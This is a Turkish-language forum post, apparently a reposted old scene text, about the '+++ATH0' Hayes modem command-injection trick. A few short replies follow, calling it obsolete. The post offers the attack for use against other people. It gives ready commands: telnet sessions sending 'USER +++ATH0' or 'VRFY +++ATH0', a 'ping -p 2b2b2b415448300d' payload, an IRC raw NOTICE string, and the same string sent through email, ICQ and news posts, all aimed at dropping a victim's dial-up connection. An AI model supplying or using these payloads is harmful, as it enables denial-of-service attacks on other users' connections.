Piyasadaki bir cok modem Hayes Komut Seti (ATZ, ATDT, ATH0..) kullanirlar. Maalesef ki bu tip modemler bazi ozel stringlerin i$lenmesine de izin verirler. Ornegin "+++ATH0" ifadesi, modeme kullanicinin manuel olarak komut girdigini belirtir. Bunu kullandiginiz anda modem 'ready' durumuna gecer. yani resetlenir, sizi bekler sessiz sessiz. internet dial-up baglantiniz kopmu$tur. i$te hikayenin ozu bu. Bu attacktan tum modemler etkilenmez. Ornegin U. S. Robotics, 33.6 'ler yemezler. (+++'dan hemen sonra bir anlik(=1 saniye) pause gerceklestirdiklerinden dolayi ATH0 devreye giremez) Eger kendi modeminiz de bundan etkileniosa o zaman attack yapinca buyuk bir olasilikla sizin hattiniz hemen kopacaktir. PPP, IP datagramI default olarak sIkI$tIrmadan gonderir o yuzden o stringi sizin modem elinden gecirir gecirmez aynen okuyacagindan hat kesilme durumu gercekle$ir Tipik attack ornekleri: 1) 21 portuna telnet ile: elusive# telnet 199.99.99.99 21 Trying 199.99.99.99... Connected to 192.168.1.1. Escape character is '^]'. 220 abc FTP server (Version...](1) Fri Apr 9 23:41: USER +++ATH0 ^] telnet> close Connection closed. elusive# telnet 192.168.1.1 21 Trying 199.99.99.99... telnet: Unable to connect to remote host: Network is unreachable elusive# 2) sendmaile telnet ile baglan ve "HELO orasi.com" de orasi neresiyse gorcen baglaninca welcome vs diycek.. sonra: VRFY +++ATH0 sana normal olarak $oyle dese de dial-up modem buyuk bir olasilikla koptu: 550 +++ATH0 3) ftp'ye baglan. USER +++ATH0 kullan. Sana diycek ki: 331 Password required for +++ATH0 dese de iptal buyuk bi olasilikla . 4) IRC'deki karsinizdakine bi ICMP ECHO_REQUEST paketi gonderirseniz ki bu paket +++ATH0 icermeli, ondan gelecek ICMP ECHO_RESPONSE paketi gonderdiginiz paket iceriginin aynisina sahip olacagindan karsidakine +++ATH0 yaptirmis olursunuz ve baglantisi kopar. Bunu nasil mi yapicaz?... bi program yazcaksin ;PP ba$ka ornek? var.. 5) Linux'tan ping olayina gireriz : (Ping modem killer ilk defa MrPhoenix tarafindan bahsedilmi$tir.) +++ATH0--> 2b2b2b415448300d (en sondaki 0d=13 biliosun enter) #ping -p 2b2b2b415448300d -c 5 xxx. xxx. xxx. xxx PATTERN: 0x2b2b2b415448300d PING xxx. xxx. xxx. xxx : 56 data bytes xxx. xxx. xxx. xxx ping statistics 5 packets transmitted, 0 packets received, 100% packet loss 5 paket gitti..1-2 paket bazan yetmiyor . cali$madIgI durum: # ping -p 2b2b2b415448300d -c 5 xxx. xxx. xxx. xxx PATTERN: 0x2b2b2b415448300d PING xxx. xxx. xxx. xxx : 56 data bytes 64 bytes from xxx. xxx. xxx. xxx: icmp_seq=0 ttl=252 time=182.4 ms 64 bytes from xxx. xxx. xxx. xxx: icmp_seq=1 ttl=252 time=190.1 ms 64 bytes from xxx. xxx. xxx. xxx: icmp_seq=2 ttl=252 time=190.1 ms 64 bytes from xxx. xxx. xxx. xxx: icmp_seq=3 ttl=252 time=190.1 ms 64 bytes from xxx. xxx. xxx. xxx: icmp_seq=4 ttl=252 time=180.1 ms xxx. xxx. xxx. xxx ping statistics 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 180.1/186.5/190.1 ms peki ya e-mail? e-mailde de denedim.. mesaj kIsmIna +++ATH0 yazarsan cok ilginc seyler olur. eger senin modem vulnerable ise senin hat kopar. degilse.. maili alan kisi alirken problem ya$ar. >>>BU KESINLIKLE CALISSIYOR<<< ICQ Mesajin içine ayni komutu yazin. Karsi makine büyük olasilikla hattan düsecektir. Bu komutun yazi ile de olsa yazili oldugu bir htm dosyasini upload etmeye çalisin %90 baglantiniz kopacak. News serverda deneyin News servera bu komut içeren bir mesaj atin. Mesaji okumak isteyenler düsecektir. IRC icin bir rivayete gore kar$I tarafIn +++ATH0 vermesi icin boyle oldugunu soyluolar.. sen ne dersin? ben denedim kendi ustumde 1 defa cali$ti 15-20 denememde: //raw NOTICE nickname : $+ $chr(1) $+ PING +++ATH0 $+ $chr(1) yukarida satirda hic bir imla ya da yazim hatasI yoktur!.

Arkadaş haklı artık bu tür modemler yok

bu tür modem dedigin dial-up modemler soft modemlerin hepsi bu acik mevcut turkiyedede %99 soft modem oldugu için bu hatayı hepsine verdirip modemi resetlemek mümkün ama artık dial-up kullananmı kaldıki dial-up modemi resetlicen

Paylaşımın için saol, tarihe ışık tutar Sevgiler

valla bu tür modemleri piyasada fazla bulamazsın

sanırım tr scene den alıntıydı büyük ihtimalle melihşahın ama bu modemler artık kalmadı gerçi o zamanlarda çalışmıyordu